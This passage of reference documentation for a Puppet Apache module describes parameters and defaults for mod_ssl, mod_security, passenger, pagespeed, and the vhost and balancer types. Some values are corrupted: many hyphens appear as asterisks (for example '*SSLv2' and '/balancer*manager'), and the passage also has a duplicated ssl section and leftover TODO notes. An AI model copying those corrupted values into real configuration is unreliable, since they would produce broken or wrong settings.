'cs', 'da', 'de', 'el', 'eo', 'es', 'et', 'fr', 'he', 'hr', 'it', 'ja', 'ko', 'ltz', 'nl', 'nn', 'no', 'pl', 'pt', 'pt*BR', 'ru', 'sv', 'zh*CN', 'zh*TW' ] + +##### Class: `apache::mod::nss` + +An SSL provider for Apache using the NSS crypto libraries. + +**Parameters:** + +- `transfer_log`: path to access.log +- `error_log`: path to error.log +- `passwd_file`: path to file used for NSSPassPhraseDialog directive +- `port`: SSL port. Defaults to 8443 + +##### Class: `apache::mod::pagespeed` + +Installs and manages [`mod_pagespeed`][], a Google module that rewrites web pages to reduce latency and bandwidth. + +Although this apache module requires the `mod-pagespeed-stable` package, Puppet **does not** manage the software repositories required to automatically install the package. If you declare this class when the package is either not installed or not available to your package manager, your Puppet run will fail. + +> **Note:** Verify that your system is compatible with the latest Google Pagespeed requirements. + +**Parameters**: + +These parameters correspond to the module's directives. See the [module's documentation][`mod_pagespeed`] for details. + +* `inherit_vhost_config`: Default: 'on'. +* `filter_xhtml`: Default: `false`. +* `cache_path`: Default: '/var/cache/mod_pagespeed/'. +* `log_dir`: Default: '/var/log/pagespeed'. +* `memcache_servers`: Default: []. +* `rewrite_level`: Default: 'CoreFilters'. +* `disable_filters`: Default: []. +* `enable_filters`: Default: []. +* `forbid_filters`: Default: []. +* `rewrite_deadline_per_flush_ms`: Default: 10. +* `additional_domains`: Default: `undef`. +* `file_cache_size_kb`: Default: 102400. +* `file_cache_clean_interval_ms`: Default: 3600000. +* `lru_cache_per_process`: Default: 1024. +* `lru_cache_byte_limit`: Default: 16384. +* `css_flatten_max_bytes`: Default: 2048. +* `css_inline_max_bytes`: Default: 2048. +* `css_image_inline_max_bytes`: Default: 2048. +* `image_inline_max_bytes`: Default: 2048. +* `js_inline_max_bytes`: Default: 2048. +* `css_outline_min_bytes`: Default: 3000. +* `js_outline_min_bytes`: Default: 3000. +* `inode_limit`: Default: 500000. +* `image_max_rewrites_at_once`: Default: 8. +* `num_rewrite_threads`: Default: 4. +* `num_expensive_rewrite_threads`: Default: 4. +* `collect_statistics`: Default: 'on'. +* `statistics_logging`: Default: 'on'. +* `allow_view_stats`: Default: []. +* `allow_pagespeed_console`: Default: []. +* `allow_pagespeed_message`: Default: []. +* `message_buffer_size`: Default: 100000. +* `additional_configuration`: A hash of directive value pairs, or an array of lines to insert at the end of the pagespeed configuration. Default: '{ }'. + +##### Class: `apache::mod::passenger` + +Installs and configures `mod_passenger`. + +>**Note**: The passenger module isn't available on RH/CentOS without providing the dependency packages provided by EPEL and the `mod_passengers` custom repository. See the `manage_repo` parameter above and [https://www.phusionpassenger.com/library/install/apache/install/oss/el7/]() + +**Parameters**: [TODO: parameters were not listed (except `manage_repo`), so I pulled them out of the manifest. I need to know what these parameters do and what their values can be OR a link that points external documentation for the parameter mapping (as with mod_pagespeed above) ] + +* `passenger_conf_file`: `$::apache::params::passenger_conf_file` +* `passenger_conf_package_file: `$::apache::params::passenger_conf_package_file` +* `passenger_high_performance`: Default: `undef` +* `passenger_pool_idle_time`: Default: `undef` +* `passenger_max_request_queue_size`: Default: `undef` +* `passenger_max_requests`: Default: `undef` +* `passenger_spawn_method`: Default: `undef` +* `passenger_stat_throttle_rate`: Default: `undef` +* `rack_autodetect`: Default: `undef` +* `rails_autodetect`: Default: `undef` +* `passenger_root` : `$::apache::params::passenger_root` +* `passenger_ruby` : `$::apache::params::passenger_ruby` +* `passenger_default_ruby`: `$::apache::params::passenger_default_ruby` +* `passenger_max_pool_size`: Default: `undef` +* `passenger_min_instances`: Default: `undef` +* `passenger_max_instances_per_app`: Default: `undef` +* `passenger_use_global_queue`: Default: `undef` +* `passenger_app_env`: Default: `undef` +* `passenger_log_file`: Default: `undef` +* `passenger_log_level`: Default: `undef` +* `passenger_data_buffer_dir`: Default: `undef` +* `manage_repo`: Whether to manage the phusionpassenger.com repository. Default: `true`. +* `mod_package`: Default: `undef`. +* `mod_package_ensure`: Default: `undef`. +* `mod_lib`: Default: `undef`. +* `mod_lib_path`: Default: `undef`. +* `mod_id`: Default: `undef`. +* `mod_path`: Default: `undef`. + +##### Class: `apache::mod::proxy` + +Installs `mod_proxy` and uses the `proxy.conf.erb` template to generate its configuration. + +**Parameters within `apache::mod::proxy`**: + +TODO: What do these parameters do? + +- `allow_from`: Default: `undef`. +- `apache_version`: Default: `undef`. +- `package_name`: Default: `undef`. +- `proxy_requests`: Default: 'Off'. +- `proxy_via`: Default: 'On'. + +##### Class: `apache::mod::proxy_balancer` + +Installs and manages [`mod_proxy_balancer`][], which provides load balancing. + +**Parameters**: + +* `manager`: Determines whether to enable balancer manager support. + + Default: `false`. + +* `manager_path`: The server location of the balancer manager. + + Default: '/balancer*manager'. + +* `allow_from`: An [array][] of IPv4 or IPv6 addresses that can access `/balancer*manager`. + + Default: ['127.0.0.1','::1']. + +* `apache_version`: Apache's version number as a string, such as '2.2' or '2.4'. + + Default: the value of [`$::apache::apache_version`][`apache_version`]. On Apache 2.4 or greater, `mod_slotmem_shm` is loaded. + +##### Class: `apache::mod::php` + +Installs and configures [`mod_php`][]. + +**Parameters**: + +Default values for these parameters depend on your operating system. Most of this class's parameters correspond to `mod_php` directives; see the [module's documentation][`mod_php`] for details. + +* `package_name`: Names the package that installs `mod_php`. +* `path`: Defines the path to the `mod_php` shared object (`.so`) file. +* `source`: Defines the path to the default configuration. Values include a `puppet:///` path. +* `template`: Defines the path to the `php.conf` template Puppet uses to generate the configuration file. +* `content`: Adds arbitrary content to `php.conf`. + +##### Class: `apache::mod::proxy_html` + +**Note**: There is no official package available for `mod_proxy_html`, so you must make it available outside of the apache module. + +##### Class: `apache::mod::reqtimeout` + +Installs and configures [`mod_reqtimeout`][]. + +**Parameters** + +* `timeouts`: Sets the [`RequestReadTimeout`][] option. + + Values: A string or [array][]. + + Default: ['header=20-40,MinRate=500', 'body=20,MinRate=500']. + +##### Class: `apache::mod::rewrite` + +Installs and enables the Apache module `mod_rewrite`. + +##### Class: `apache::mod::shib` + +Installs the [Shibboleth](http://shibboleth.net/) Apache module `mod_shib`, which enables SAML2 single sign-on (SSO) authentication by Shibboleth Identity Providers and Shibboleth Federations. Defining this class enables Shibboleth-specific parameters in `apache::vhost` instances. + +This class installs and configures only the Apache components of a web application that consumes Shibboleth SSO identities. You can manage the Shibboleth configuration manually, with Puppet, or using a [Shibboleth Puppet Module](https://github.com/aethylred/puppet-shibboleth). + +**Note**: The shibboleth module isn't available on RH/CentOS without providing dependency packages provided by Shibboleth's repositories. See [http://wiki.aaf.edu.au/tech-info/sp-install-guide]() + +##### Class: `apache::mod::ssl` + +Installs [Apache SSL features][`mod_ssl`] and uses the `ssl.conf.erb` template to generate its configuration. On most operating systems, this `ssl.conf` is placed in the module configuration directory. On Red Hat-based operating systems, this file is placed in `/etc/httpd/conf.d`, the same location in which the RPM stores the configuration. + +To use SSL with a virtual host, you must either set the [`default_ssl_vhost`][] parameter in `::apache` to `true` **or** the [`ssl`][] parameter in [`apache::vhost`][] to `true`. + +- `ssl_cipher`: Default: 'HIGH:MEDIUM:!aNULL:!MD5:!RC4'. +- `ssl_compression`: Default: false. +- `ssl_cryptodevice`: Default: 'builtin'. +- `ssl_honorcipherorder`: Default: true. +- `ssl_openssl_conf_cmd`: Default: undef. +- `ssl_options`: Default: [ 'StdEnvVars' ] +- `ssl_pass_phrase_dialog`: Default: 'builtin'. +- `ssl_protocol`: Default: [ 'all', '-SSLv2', '-SSLv3' ]. +- `ssl_proxy_protocol`: Default: []. +- `ssl_random_seed_bytes`: Valid options: A string. Default: '512'. +- `ssl_sessioncache`: Valid options: A string. Default: '300'. +- `ssl_sessioncachetimeout`: Valid options: A string. Default: '300'. +- `ssl_mutex`: Default: Determined based on the OS. Valid options: See [mod_ssl][mod_ssl] documentation. + - RedHat/FreeBSD/Suse/Gentoo: 'default' + - Debian/Ubuntu + Apache >= 2.4: 'default' + - Debian/Ubuntu + Apache < 2.4: 'file:\${APACHE_RUN_DIR}/ssl_mutex' +**Parameters: + +* `ssl_cipher` + + Default: 'HIGH:MEDIUM:!aNULL:!MD5:!RC4'. + +* `ssl_compression` + + Default: `false`. + +* `ssl_cryptodevice` + + Default: 'builtin'. + +* `ssl_honorcipherorder` + + Default: `true`. + +* `ssl_openssl_conf_cmd` + + Default: `undef`. + +* `ssl_options` + + Default: [ 'StdEnvVars' ] + +* `ssl_pass_phrase_dialog` + + Default: 'builtin'. + +* `ssl_protocol` + + Default: [ 'all', '*SSLv2', '*SSLv3' ]. + +* `ssl_random_seed_bytes` + + Values: A string. + + Default: '512'. + +* `ssl_sessioncachetimeout` + + Values: A string. + + Default: '300'. + +* `ssl_mutex`: + + Values: See [mod_ssl][mod_ssl] documentation. + + Default: Based on the OS: + + * RedHat/FreeBSD/Suse/Gentoo: 'default'. + * Debian/Ubuntu + Apache >= 2.4: 'default'. + * Debian/Ubuntu + Apache < 2.4: 'file:\${APACHE_RUN_DIR}/ssl_mutex'. + * Ubuntu 10.04: 'file:/var/run/apache2/ssl_mutex'. + + +##### Class: `apache::mod::status` + +Installs [`mod_status`][] and uses the `status.conf.erb` template to generate its configuration. + +**Parameters**: + +* `allow_from`: An [array][] of IPv4 or IPv6 addresses that can access `/server-status`. + + Default: ['127.0.0.1','::1']. +* `extended_status`: Determines whether to track extended status information for each request, via the [`ExtendedStatus`][] directive. + + Values: 'Off', 'On'. + + Default: 'On'. + +* `status_path`: The server location of the status page. + + Default: '/server-status'. + +##### Class: `apache::mod::version` + +Installs [`mod_version`][] on many operating systems and Apache configurations. + +If Debian and Ubuntu systems with Apache 2.4 are classified with `apache::mod::version`, Puppet warns that `mod_version` is built-in and can't be loaded. + +##### Class: `apache::mod::security` + +Installs and configures Trustwave's [`mod_security`][]. It is enabled and runs by default on all virtual hosts. + +**Parameters**: + +* `activated_rules`: An [array][] of rules from the `modsec_crs_path` or absolute to activate via symlinks. +* `allowed_methods`: A space*separated list of allowed HTTP methods. + + Default: 'GET HEAD POST OPTIONS'. + +* `content_types`: A list of one or more allowed [MIME types][MIME `content*type`]. + + Default: 'application/x*www*form*urlencoded|multipart/form*data|text/xml|application/xml|application/x*amf'. + +* `crs_package`: Names the package that installs CRS rules. + + Default: `modsec_crs_package` in [`apache::params`][]. + +* `manage_security_crs`: Manage security_crs.conf rules file. + + Default: `true`. + +* `modsec_dir`: Defines the path where Puppet installs the modsec configuration and activated rules links. + + Default: 'On', set by `modsec_dir` in [`apache::params`][]. +${modsec\_dir}/activated\_rules. + +* `modsec_secruleengine`: Configures the modsec rules engine. Values: 'On', 'Off', and 'DetectionOnly'. + + Default: `modsec_secruleengine` in [`apache::params`][]. + +* `restricted_extensions`: A space*separated list of prohibited file extensions. + + Default: '.asa/ .asax/ .ascx/ .axd/ .backup/ .bak/ .bat/ .cdx/ .cer/ .cfg/ .cmd/ .com/ .config/ .conf/ .cs/ .csproj/ .csr/ .dat/ .db/ .dbf/ .dll/ .dos/ .htr/ .htw/ .ida/ .idc/ .idq/ .inc/ .ini/ .key/ .licx/ .lnk/ .log/ .mdb/ .old/ .pass/ .pdb/ .pol/ .printer/ .pwd/ .resources/ .resx/ .sql/ .sys/ .vb/ .vbs/ .vbproj/ .vsdisco/ .webinfo/ .xsd/ .xsx/'. + +* `restricted_headers`: A list of restricted headers separated by slashes and spaces. + + Default: 'Proxy*Connection/ /Lock*Token/ /Content*Range/ /Translate/ /via/ /if/'. + +* `secdefaultaction`: Configures the Mode of Operation, Self-Contained ('deny') or Collaborative Detection ('pass'), for the OWASP ModSecurity Core Rule Set. + + Default: 'deny'. You can also set full values, such as "log,auditlog,deny,status:406,tag:'SLA 24/7'". + +* `secpcrematchlimit`: Sets the number for the match limit in the PCRE library. + + Default: 1500. + +* `secpcrematchlimitrecursion`: Sets the number for the match limit recursion in the PCRE library. + + Default: 1500. + +* `logroot`: Configures the location of audit and debug logs. + + Defaults to the Apache log directory (Redhat: `/var/log/httpd`, Debian: `/var/log/apache2`). + +* `audit_log_releavant_status`: Configures which response status code is to be considered relevant for the purpose of audit logging. + + Default: '^(?:5|4(?!04))'. + +* `audit_log_parts`: Sets the sections to be put in the [audit log][]. + + Default: 'ABIJDEFHZ'. + +* `anomaly_score_blocking`: Activates or deactivates the Collaborative Detection Blocking of the OWASP ModSecurity Core Rule Set. + + Default: 'off'. + +* `inbound_anomaly_threshold`: Sets the scoring threshold level of the inbound blocking rules for the Collaborative Detection Mode in the OWASP ModSecurity Core Rule Set. + + Default: 5. + +* `outbound_anomaly_threshold`: Sets the scoring threshold level of the outbound blocking rules for the Collaborative Detection Mode in the OWASP ModSecurity Core Rule Set. + + Default: 4. + +* `critical_anomaly_score`: Sets the scoring points of the critical severity level for the Collaborative Detection Mode in the OWASP ModSecurity Core Rule Set. + + Default: 5. + +* `error_anomaly_score`: Sets the scoring points of the error severity level for the Collaborative Detection Mode in the OWASP ModSecurity Core Rule Set. + + Default: 4. + +* `warning_anomaly_score`: Sets the scoring points of the warning severity level for the Collaborative Detection Mode in the OWASP ModSecurity Core Rule Set. + + Default: 3. + +* `notice_anomaly_score`: Sets the scoring points of the notice severity level for the Collaborative Detection Mode in the OWASP ModSecurity Core Rule Set. + +Default: 2. + +* `secrequestmaxnumargs`: Sets the Maximum number of arguments in the request. + + Default: 255. + +* `secrequestbodylimit`: Sets the maximum request body size ModSecurity accepts for buffering. + + Default: '13107200'. + +* `secrequestbodynofileslimit`: Sets the maximum request body size ModSecurity accepts for buffering, excluding the size of any files being transported in the request. + + Default: '131072'. + +* `secrequestbodyinmemorylimit`: Sets the maximum request body size that ModSecurity stores in memory. + + Default: '131072' + +##### Class: `apache::mod::wsgi` + +Enables Python support via [`mod_wsgi`][]. + +**Parameters**: + +* `mod_path`: Defines the path to the `mod_wsgi` shared object (`.so`) file. + + Default: `undef`. + + * If the `mod_path` parameter doesn't contain `/`, Puppet prefixes it with your operating system's default module path. Otherwise, Puppet follows it literally. + +* `package_name`: Names the package that installs `mod_wsgi`. + + Default: `undef`. + +* `wsgi_python_home`: Defines the [`WSGIPythonHome`][] directive, such as '/path/to/venv'. + + Values: A string specifying a path. + + Default: `undef`. + +* `wsgi_python_path`: Defines the [`WSGIPythonPath`][] directive, such as '/path/to/venv/site*packages'. + + Values: A string specifying a path. + + Default: `undef`. + +* `wsgi_restrict_embedded`: Defines the [`WSGIRestrictEmbedded`][] directive, such as 'On'. + +Values: On|Off|undef. + +Default: undef. + +* `wsgi_socket_prefix`: Defines the [`WSGISocketPrefix`][] directive, such as "\${APACHE\_RUN\_DIR}WSGI". + + Default: `wsgi_socket_prefix` in [`apache::params`][]. + +The class's parameters correspond to the module's directives. See the [module's documentation][`mod_wsgi`] for details. + +### Private Classes + +#### Class: `apache::confd::no_accf` + +Creates the `no-accf.conf` configuration file in `conf.d`, required by FreeBSD's Apache 2.4. + +#### Class: `apache::default_confd_files` + +Includes `conf.d` files for FreeBSD. + +#### Class: `apache::default_mods` + +Installs the Apache modules required to run the default configuration. See the `apache` class's [`default_mods`][] parameter for details. + +#### Class: `apache::package` + +Installs and configures basic Apache packages. + +#### Class: `apache::params` + +Manages Apache parameters for different operating systems. + +#### Class: `apache::service` + +Manages the Apache daemon. + +#### Class: `apache::version` + +Attempts to automatically detect the Apache version based on the operating system. + +### Public defined types + +#### Defined type: `apache::balancer` + +Creates an Apache load balancing group, also known as a balancer cluster, using [`mod_proxy`][]. Each load balancing group needs one or more balancer members, which you can declare in Puppet with the [`apache::balancermember`][] defined type. + +Declare one `apache::balancer` defined type for each Apache load balancing group. You can export `apache::balancermember` defined types for all balancer members and collect them on a single Apache load balancer server using [exported resources][]. + +**Parameters**: + +##### `name` + +Sets the title of the balancer cluster and name of the `conf.d` file containing its configuration. + +##### `proxy_set` + +Configures key-value pairs as [`ProxySet`][] lines. Values: a [hash][]. Default: '{}'. + +##### `collect_exported` + +Determines whether to use [exported resources][]. + +If you statically declare all of your backend servers, set this parameter to `false` to rely on existing, declared balancer member resources. Also, use `apache::balancermember` with [array][] arguments. + +To dynamically declare backend servers via exported resources collected on a central node, set this parameter to `true` to collect the balancer member resources exported by the balancer member nodes. + +If you don't use exported resources, a single Puppet run configures all balancer members. If you use exported resources, Puppet has to run on the balanced nodes first, then run on the balancer. + +Boolean. Default: `true`. + +#### Defined type: `apache::balancermember` + +Defines members of [`mod_proxy_balancer`][], which sets up a balancer member inside a listening service configuration block in the load balancer's `apache.cfg`. + +**Parameters**: + +##### `balancer_cluster` + +**Required**. + +Sets the Apache service's instance name, and must match the name of a declared [`apache::balancer`][] resource. + +##### `url` + +Specifies the URL used to contact the balancer member server. + +Default: 'http://${::fqdn}/'. + +##### `options` + +Specifies an [array][] of [options](https://httpd.apache.org/docs/current/mod/mod_proxy.html#balancermember) after the URL, and accepts any key-value pairs available to [`ProxyPass`][]. + +Default: an empty array. + +#### Defined type: `apache::custom_config` + +Adds a custom configuration file to the Apache server's `conf.d` directory. If the file is invalid and this defined type's [`verify_config`][] parameter's value is `true`, Puppet throws an error during a Puppet run. + +**Parameters**: + +##### `ensure` + +Specifies whether the configuration file should be present. + +Values: 'absent', 'present'. + +Default: 'present'. + +##### `confdir` + +Sets the directory in which Puppet places configuration files. + +Default: the value of [`$::apache::confd_dir`][`confd_dir`]. + +##### `content` + +Sets the configuration file's content. The `content` and [`source`][] parameters are exclusive of each other. + +Default: `undef` + +##### `filename` + +Sets the name of the file under `confdir` in which Puppet stores the configuration. + +Default: Filename generated from the `priority` parameter and the resource name. + +##### `priority` + +Sets the configuration file's priority by prefixing its filename with this parameter's numeric value, as Apache processes configuration files in alphanumeric order. + +To omit the priority prefix in the configuration file's name, set this parameter to `false`. + +Default: '25'. + +##### `source` + +Points to the configuration file's source. The [`content`][] and `source` parameters are exclusive of each other. TODO: is this required or does it have a default value? + +Default: `undef` + +##### `verify_command` + +Specifies the command Puppet uses to verify the configuration file. Use a fully qualified command. + +This parameter is used only if the [`verify_config`][] parameter's value is `true`. If the `verify_command` fails, the Puppet run deletes the configuration file and raises an error, but does not notify the Apache service. + +Default: '/usr/sbin/apachectl -t'. + +##### `verify_config` + +Specifies whether to validate the configuration file before notifying the Apache service. + +Boolean. Default: `true`. + +#### Defined type: `apache::fastcgi::server` + +Defines one or more external FastCGI servers to handle specific file types. Use this defined type with [`mod_fastcgi`][FastCGI]. + +**Parameters** + +##### `host` + +Determines the FastCGI's hostname or IP address and TCP port number (1-65535). + +Default: '127.0.0.1:9000'. + +##### `timeout` + +Sets the number of seconds a [FastCGI][] application can be inactive before aborting the request and logging the event at the error LogLevel. The inactivity timer applies only as long as a connection is pending with the FastCGI application. If a request is queued to an application, but the application doesn't respond by writing and flushing within this period, the request is aborted. If communication is complete with the application but incomplete with the client (the response is buffered), the timeout does not apply. + +Default: 15. + +##### `flush` + +Forces [`mod_fastcgi`][FastCGI] to write to the client as data is received from the application. By default, `mod_fastcgi` buffers data in order to free the application as quickly as possible. + +Default: `false`. + +##### `faux_path` + +Apache has [FastCGI][] handle URIs that resolve to this filename. The path set in this parameter does not have to exist in the local filesystem. + +Default: "/var/www/${name}.fcgi". + +##### `alias` + +Internally links actions with the FastCGI server. This alias must be unique. + +Default: "/${name}.fcgi". + +##### `file_type` + +Sets the [MIME `content-type`][] of the file to be processed by the FastCGI server. + +Default: 'application/x-httpd-php'. + +#### Defined type: `apache::listen` + +Adds [`Listen`][] directives to `ports.conf` in the Apache configuration directory that define the Apache server's or a virtual host's listening address and port. The [`apache::vhost`][] class uses this defined type, and titles take the form ``, `:`, or `:`. + +#### Defined type: `apache::mod` + +Installs packages for an Apache module that doesn't have a corresponding [`apache::mod::`][] class, and checks for or places the module's default configuration files in the Apache server's `module` and `enable` directories. The default locations depend on your operating system. + +**Parameters**: + +##### `package` + +**Required**. + +Names the package Puppet uses to install the Apache module. + +Default: `undef`. + +##### `package_ensure` + +Determines whether Puppet ensures the Apache module should be installed. + +Values: 'absent', 'present'. + +Default: 'present'. + +##### `lib` + +Defines the module's shared object name. Do not configure manually without special reason. + +Default: `mod_$name.so`. + +##### `lib_path` + +Specifies a path to the module's libraries. Do not manually set this parameter without special reason. The [`path`][] parameter overrides this value. + +Default: The `apache` class's [`lib_path`][] parameter. + + +##### `loadfile_name` + +Sets the filename for the module's [`LoadFile`][] directive, which can also set the module load order as Apache processes them in alphanumeric order. + +Values: Filenames formatted `\*.load`. + +Default: the resource's name followed by 'load', as in '$name.load'. + +##### `loadfiles` + +Specifies an array of [`LoadFile`][] directives. + +Default: `undef`. + +##### `path` + +Specifies a path to the module. Do not manually set this parameter without a special reason. + +Default: [`lib_path`][]/[`lib`][]. + +#### Defined type: `apache::namevirtualhost` + +Enables [name-based virtual hosts][] and adds all related directives to the `ports.conf` file in the Apache HTTPD configuration directory. Titles can take the forms '\*', '\*:\', '\_default\_:\, '\', or '\:\'. + +#### Defined type: `apache::vhost` + +The apache module allows a lot of flexibility in the setup and configuration of virtual hosts. This flexibility is due, in part, to `vhost` being a defined resource type, which allows Apache to evaluate it multiple times with different parameters. + +The `apache::vhost` defined type allows you to have specialized configurations for virtual hosts that have requirements outside the defaults. You can set up a default virtual host within the base `::apache` class, as well as set a customized virtual host as the default. Customized virtual hosts have a lower numeric [`priority`][] than the base class's, causing Apache to process the customized virtual host first. + +The `apache::vhost` defined type uses `concat::fragment` to build the configuration file. To inject custom fragments for pieces of the configuration that the defined type doesn't inherently support, add a custom fragment. + +For the custom fragment's `order` parameter, the `apache::vhost` defined type uses multiples of 10, so any `order` that isn't a multiple of 10 should work. + +**Parameters**: + +##### `access_log` + +Determines whether to configure `*_access.log` directives (`*_file`,`*_pipe`, or `*_syslog`). + +Boolean. Default: `true`. + +##### `access_log_env_var` + +Specifies that only requests with particular environment variables be logged. + +Default: `undef`. + +##### `access_log_file` + +Sets the filename of the `*_access.log` placed in [`logroot`][]. Given a virtual host---for instance, example.com---it defaults to 'example.com_ssl.log' for [SSL-encrypted][SSL encryption] virtual hosts and 'example.com_access.log' for unencrypted virtual hosts. + +Default: `false`. + +##### `access_log_format` + +Specifies the use of either a [`LogFormat`][] nickname or a custom-formatted string for the access log. + +Default: 'combined'. + +##### `access_log_pipe` + +Specifies a pipe where Apache sends access log messages. + +Default: `undef`. + +##### `access_log_syslog` + +Sends all access log messages to syslog. + +Default: `undef`. + +##### `add_default_charset` + +Sets a default media charset value for the [`AddDefaultCharset`][] directive, which is added to `text/plain` and `text/html` responses. + +Default: `undef`. + +##### `add_listen` + +Determines whether the virtual host creates a [`Listen`][] statement. + +Setting `add_listen` to `false` prevents the virtual host from creating a `Listen` statement. This is important when combining virtual hosts that aren't passed an `ip` parameter with those that are. + +Boolean. Default: `true`. + +##### `use_optional_includes` + +Specifies whether Apache uses the [`IncludeOptional`][] directive instead of [`Include`][] for `additional_includes` in Apache 2.4 or newer. + +Boolean. Default: `false`. + +##### `additional_includes` + +Specifies paths to additional static, virtual host-specific Apache configuration files. You can use this parameter to implement a unique, custom configuration not supported by this module. + +Values: a string or [array][] of strings specifying paths. + +Default: an empty array. + +##### `aliases` + +Passes a list of [hashes][hash] to the virtual host to create [`Alias`][], [`AliasMatch`][], [`ScriptAlias`][] or [`ScriptAliasMatch`][] directives as per the [`mod_alias`][] documentation. + +For example: + +``` puppet +aliases => [ + { aliasmatch => '^/image/(.*)\.jpg$', + path => '/files/jpg.images/$1.jpg', + }, + { alias => '/image', + path => '/ftp/pub/image', + }, + { scriptaliasmatch => '^/cgi-bin(.*)', + path => '/usr/local/share/cgi-bin$1', + }, + { scriptalias => '/nagios/cgi-bin/', + path => '/usr/lib/nagios/cgi-bin/', + }, + { alias => '/nagios', + path => '/usr/share/nagios/html', + }, +], +``` + +For the `alias`, `aliasmatch`, `scriptalias` and `scriptaliasmatch` keys to work, each needs a corresponding context, such as `` or ``. Puppet creates the directives in the order specified in the `aliases` parameter. As described in the [`mod_alias`][] documentation, add more specific `alias`, `aliasmatch`, `scriptalias` or `scriptaliasmatch` parameters before the more general ones to avoid shadowing. + +> **Note**: Use the `aliases` parameter instead of the `scriptaliases` parameter because you can precisely control the order of various alias directives. Defining `ScriptAliases` using the `scriptaliases` parameter means *all* `ScriptAlias` directives will come after *all* `Alias` directives, which can lead to `Alias` directives shadowing `ScriptAlias` directives. This often causes problems; for example, this could cause problems with Nagios. + +If [`apache::mod::passenger`][] is loaded and `PassengerHighPerformance` is `true`, the `Alias` directive might not be able to honor the `PassengerEnabled => off` statement. See [this article](http://www.conandalton.net/2010/06/passengerenabled-off-not-working.html) for details. + +##### `allow_encoded_slashes` + +Sets the [`AllowEncodedSlashes`][] declaration for the virtual host, overriding the server default. This modifies the virtual host responses to URLs with `\` and `/` characters. Values: 'nodecode', 'off', 'on'. The default setting omits the declaration from the server configuration and selects the Apache default setting of 'Off'. + +Default: `undef` + +##### `block` + +Specifies the list of things to which Apache blocks access. Valid option: 'scm', which blocks web access to `.svn`, `.git`, and `.bzr` directories. + +Default: an empty [array][]. + +##### `cas_attribute_prefix` + +Adds a header with the value of this header being the attribute values when SAML validation is enabled. + +Defaults: The value set by [`apache::mod::auth_cas`][]. + +##### `cas_attribute_delimiter` + +Sets the delimiter between attribute values in the header created by `cas_attribute_prefix`. + +Default: The value set by [`apache::mod::auth_cas`][]. + +##### `cas_login_url` + +Sets the URL to which the module redirects users when they attempt to access a CAS-protected resource and +don't have an active session. + +Default: The value set by [`apache::mod::auth_cas`][]. + +##### `cas_scrub_request_headers` + +Remove inbound request headers that may have special meaning within mod_auth_cas. + +Default: The value set by [`apache::mod::auth_cas`][]. + +##### `cas_sso_enabled` + +Enables experimental support for single sign out (may mangle POST data). + +Default: The value set by [`apache::mod::auth_cas`][]. + +##### `cas_validate_saml` + +Parse response from CAS server for SAML. Default: The value set by [`apache::mod::auth_cas`][]. + +##### `cas_validate_url` + +Sets the URL to use when validating a client-presented ticket in an HTTP query string. + +Defaults to the value set by [`apache::mod::auth_cas`][]. + +##### `custom_fragment` + +Passes a string of custom configuration directives to place at the end of the virtual host configuration. + +Default: `undef`. + +##### `default_vhost` + +Sets a given `apache::vhost` defined type as the default to serve requests that do not match any other `apache::vhost` defined types. + +Default: `false`. + +##### `directories` + +See the [`directories`](#parameter-directories-for-apachevhost) section. + +##### `directoryindex` + +Sets the list of resources to look for when a client requests an index of the directory by specifying a '/' at the end of the directory name. See the [`DirectoryIndex`][] directive documentation for details. + +Default: `undef`. + +##### `docroot` + +**Required**. + +Sets the [`DocumentRoot`][] location, from which Apache serves files. + +If `docroot` and [`manage_docroot`][] are both set to `false`, no [`DocumentRoot`][] will be set and the accompanying `` block will not be created. + +Values: A string specifying a directory path. + +##### `docroot_group` + +Sets group access to the [`docroot`][] directory. + +Values: A string specifying a system group. + +Default: 'root'. + +##### `docroot_owner` + +Sets individual user access to the [`docroot`][] directory. + +Values: A string specifying a user account. + +Default: 'root'. + +##### `docroot_mode` + +Sets access permissions for the [`docroot`][] directory, in numeric notation. + +Values: A string. + +Default: `undef`. + +##### `manage_docroot` + +Determines whether Puppet manages the [`docroot`][] directory. + +Boolean. Default: `true`. + +##### `error_log` + +Specifies whether `*_error.log` directives should be configured. + +Boolean. Default: `true`. + +##### `error_log_file` + +Points the virtual host's error logs to a `*_error.log` file. If this parameter is undefined, Puppet checks for values in [`error_log_pipe`][], then [`error_log_syslog`][]. + +If none of these parameters is set, given a virtual host `example.com`, Puppet defaults to '$logroot/example.com_error_ssl.log' for SSL virtual hosts and '$logroot/example.com_error.log' for non-SSL virtual hosts. + +Default: `undef`. + +##### `error_log_pipe` + +Specifies a pipe to send error log messages to. + +This parameter has no effect if the [`error_log_file`][] parameter has a value. If neither this parameter nor `error_log_file` has a value, Puppet then checks [`error_log_syslog`][]. + +Default: `undef`. + +##### `error_log_syslog` + +Determines whether to send all error log messages to syslog. + +This parameter has no effect if either of the [`error_log_file`][] or [`error_log_pipe`][] parameters has a value. If none of these parameters has a value, given a virtual host `example.com`, Puppet defaults to '$logroot/example.com_error_ssl.log' for SSL virtual hosts and '$logroot/example.com_error.log' for non-SSL virtual hosts. + +Boolean. Default: `undef`. + +##### `error_documents` + +A list of hashes which can be used to override the [ErrorDocument](https://httpd.apache.org/docs/current/mod/core.html#errordocument) settings for this virtual host. + +For example: + +``` puppet +apache::vhost { 'sample.example.net': + error_documents => [ + { 'error_code' => '503', 'document' => '/service-unavail' }, + { 'error_code' => '407', 'document' => 'https://example.com/proxy/login' }, + ], +} +``` + +Default: '[]'. + +##### `ensure` + +Specifies if the virtual host is present or absent. + +Values: 'absent', 'present'. + +Default: 'present'. + +##### `fallbackresource` + +Sets the [FallbackResource](https://httpd.apache.org/docs/current/mod/mod_dir.html#fallbackresource) directive, which specifies an action to take for any URL that doesn't map to anything in your filesystem and would otherwise return 'HTTP 404 (Not Found)'. Values must either begin with a '/' or be 'disabled'. + +Default: `undef`. + +#####`fastcgi_idle_timeout` + +If using fastcgi, this option sets the timeout for the server to respond. + +Default: `undef`. + +##### `file_e_tag` + +Sets the server default for the [`FileETag`][] declaration, which modifies the response header field for static files. + +Values: 'INode', 'MTime', 'Size', 'All', 'None'. + +Default: `undef`, which uses Apache's default setting of 'MTime Size'. + +##### `filters` + +[Filters](https://httpd.apache.org/docs/current/mod/mod_filter.html) enable smart, context-sensitive configuration of output content filters. + +``` puppet +apache::vhost { "$::fqdn": + filters => [ + 'FilterDeclare COMPRESS', + 'FilterProvider COMPRESS DEFLATE resp=Content-Type $text/html', + 'FilterChain COMPRESS', + 'FilterProtocol COMPRESS DEFLATE change=yes;byteranges=no', + ], +} +``` + +##### `force_type` + +Sets the [`ForceType`][] directive, which forces Apache to serve all matching files with a [MIME `content-type`][] matching this parameter's value. + +#### `add_charset` + +Lets Apache set custom content character sets per directory and/or file extension + 